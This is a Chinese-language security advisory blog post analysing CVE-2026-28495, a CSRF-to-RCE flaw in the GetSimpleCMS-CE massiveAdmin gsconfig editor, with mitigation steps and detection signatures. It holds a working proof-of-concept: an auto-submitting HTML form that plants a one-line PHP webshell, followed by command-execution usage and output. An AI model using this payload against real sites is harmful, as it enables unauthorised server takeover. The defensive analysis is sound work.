文章总结: 文档分析了CVE-2026-28495漏洞,指出GetSimpleCMS-CE因插件缺乏CSRF防护与输入过滤,导致攻击者可诱导管理员写入恶意代码实现RCE。鉴于官方未修复,建议立即禁用插件并实施访问控制。文章强调了该系统反复出现高危漏洞的治理缺陷,提供了详细的攻击复现与检测特征。 综合评分: 92 文章分类: 漏洞分析,WEB安全,应急响应,漏洞预警
一个 CSRF,让攻击者无需登录就能拿下服务器——CVE-2026-28495 分析
原创
CVE-SEC CVE-SEC
CVE-SEC
2026年3月12日 09:00 四川
一个 CSRF,让攻击者无需登录就能拿下服务器——CVE-2026-28495 分析
CVE 编号: CVE-2026-28495评分: CVSS 3.1 / 9.6(严重)披露时间: 2026-03-08
背景
GetSimpleCMS 是一款轻量级开源内容管理系统,其最大的设计特点是”无需数据库”,所有数据以 XML 文件存储于服务器本地。由于官方版本长期停止维护,社区在 2022 年另立门户,推出了 GetSimpleCMS-CE(社区版),主要目标是维持对 PHP 7.4 至 8.x 的兼容性。
2025 年 6 月 15 日,社区版发布了 v3.3.22,这也是目前唯一的活跃维护版本。该版本捆绑了一个名为 massiveAdmin 的管理插件(v6.0.3),用于提供更现代化的后台管理界面,包含一个核心功能模块:gsconfig 编辑器——允许管理员在 Web 界面中直接编辑系统的核心配置文件 gsconfig.php。
2026 年 3 月 8 日,研究者 dxlerYT 通过 GitHub Security Advisory 披露了一个藏在这个编辑器里的严重漏洞。
问题出在哪里
gsconfig 编辑器的核心函数只有一行关键代码:
public function gsConfigEdit(){
file_put_contents(GSROOTPATH . 'gsconfig.php', $_POST['content']);
}
这行代码做的事情很简单:把 POST 请求体里 content 字段的内容,直接写入服务器上的 gsconfig.php。
问题有两个,且都是根本性缺陷:
第一,表单没有 CSRF Token。
对应的 HTML 表单里不包含任何 nonce 字段,服务端也不验证请求来源(Referer / Origin)。这意味着,这个写入操作可以被任何第三方网页在管理员不知情的情况下触发。
第二,没有任何输入过滤。
$_POST['content'] 直接进入 file_put_contents(),不经过任何过滤、白名单校验或危险字符处理。你往里面写什么,文件里就是什么。
单独看这两个问题,任何一个单独存在都已经足够危险。合在一起,后果是:攻击者无需拥有账号,无需知道管理员密码,只需要让一名已登录的管理员在浏览器里打开一个页面,就可以在服务器上写入任意 PHP 代码,并在此后的每一次 HTTP 请求中持续执行。
为什么影响这么大
GetSimpleCMS 的架构决定了这个漏洞特别危险。
gsconfig.php 是系统的核心配置文件,前台入口文件 index.php 在第 23 行通过 require 加载它,后台公共文件 admin/inc/common.php 在第 82 行同样加载它。这意味着:
- 每一次 HTTP 请求,无论是前台页面还是后台操作,都会触发这个文件的执行
- 该文件不是以配置数据的形式被读取,而是以 PHP 代码的形式被解释器直接执行
- 一旦恶意代码写入,立即生效,且在文件被覆盖之前持续有效
攻击者只需要完成一次 CSRF 攻击,就能在目标服务器上建立一个随时可用的持久化后门,而不需要再次与管理员或系统产生任何交互。
攻击过程
整个攻击链可以简洁地描述为以下几个步骤。
步骤一:构造恶意页面
攻击者创建一个包含如下内容的 HTML 页面,并将其部署在攻击者控制的服务器上:
<form id="f" action="http://目标站点/admin/index.php?id=gsconfig"
method="POST" enctype="application/x-www-form-urlencoded">
<input type="hidden" name="editGSConfig" value="1">
<input type="hidden" name="content" value="<?php system($_GET['cmd']); ?>">
</form>
<script>document.getElementById('f').submit();</script>
页面打开后,JavaScript 会立即自动提交表单,全程不需要用户点击任何按钮。
步骤二:诱导管理员访问
攻击者通过钓鱼邮件、即时消息或其他社会工程手段,将上述恶意页面的链接发送给目标站点的管理员。
步骤三:浏览器完成攻击
管理员在浏览器中已登录 GetSimpleCMS 后台的状态下打开链接,浏览器自动携带有效的 Session Cookie 向目标站点发送 POST 请求。由于后台不校验 CSRF Token,这个请求被正常处理,PHP 代码被写入 gsconfig.php。
步骤四:执行命令
此后,攻击者访问目标站点的任意页面,并附加 cmd 参数,即可执行系统命令:
http://目标站点/?cmd=id
服务器返回:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
代码以 Web 服务器进程权限在目标系统上持续运行。后续可写入 webshell、建立持久访问、横向移动或窃取数据。
这不是第一次
翻看 GetSimpleCMS 的漏洞历史,会发现类似的问题反复出现:
- CVE-2018-17103:GetSimpleCMS v3.3.13,管理后台的修改密码表单同样缺乏 CSRF 防护,攻击者可以通过 CSRF 重置管理员密码
- CVE-2019-11231:v3.3.15,通过路径穿越写入可执行文件,同样实现 RCE
- CVE-2022-41544:v3.3.16,主题编辑器允许写入 PHP 文件,同样实现 RCE
模式几乎一致:高权限的文件写入功能,缺乏充分的安全防护。每隔几个版本,同一类型的问题就会在不同的功能模块里重新出现。这说明该项目在安全设计层面存在系统性问题,历史漏洞的教训没有被有效转化为后续开发的安全规范。
当前状态
截至本文撰写日期(2026-03-11),官方尚未发布针对该漏洞的修复版本。
该漏洞的技术修复本身并不复杂:在 gsConfigEdit() 函数中加入 CSRF Token 验证,并对 $_POST['content'] 的内容进行过滤,核心改动可能只需要十几行代码。但补丁至今仍未出现。
暂时也没有公开的 PoC 代码发布,但 GitHub Advisory 中已包含足够详细的技术描述,复现所需的信息基本完备。
如果你在用这个 CMS
如果你或你的客户正在使用 GetSimpleCMS-CE v3.3.22,以下措施建议立即执行:
最优先:禁用 massiveAdmin 插件
在后台插件管理页面停用,或直接删除服务器上的 plugins/massiveAdmin/ 目录。在官方补丁发布之前,这是消除漏洞入口的最直接方式。
网络层访问控制
通过 Nginx 或 Apache 配置,将 /admin/ 路径的访问限制在可信 IP 范围内,减少后台管理接口的暴露面。
文件完整性监控
对 gsconfig.php 文件进行哈希监控,内容发生变化时立即告警。若文件内容包含 <?php 标签,应立即认定为疑似入侵事件。
检查是否已受影响
查看 gsconfig.php 的文件修改时间和内容,排查是否已被篡改。审查 Web 服务器日志中是否存在向 /admin/index.php?id=gsconfig 发送异常 POST 请求的记录,尤其关注 Referer 为空或来自外部域名的请求。
检测特征
网络侧检测可关注同时满足以下条件的 HTTP 请求:
- 请求方法为 POST
- 请求路径包含
/admin/index.php,URL 参数包含id=gsconfig - 请求体包含
editGSConfig参数 - 请求体的
content字段值包含 PHP 代码特征(<?php、system(、exec(、eval(等) - Referer 头为空,或来源域名与目标站点不一致
主机侧可对 gsconfig.php 进行定期 SHA-256 哈希比对,并监控 Web 服务器进程是否产生 sh、bash、curl、wget 等异常子进程。
参考资料
- NVD:https://nvd.nist.gov/vuln/detail/CVE-2026-28495
- GitHub Advisory GHSA-92wv-q2jp-qg88:https://github.com/GetSimpleCMS-CE/GetSimpleCMS-CE/security/advisories/GHSA-92wv-q2jp-qg88
- GetSimpleCMS-CE 仓库:https://github.com/GetSimpleCMS-CE/GetSimpleCMS-CE
- OWASP CSRF 防护指南:https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:CVE-SEC CVE-SEC CVE-SEC《一个 CSRF,让攻击者无需登录就能拿下服务器——CVE-2026-28495 分析》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论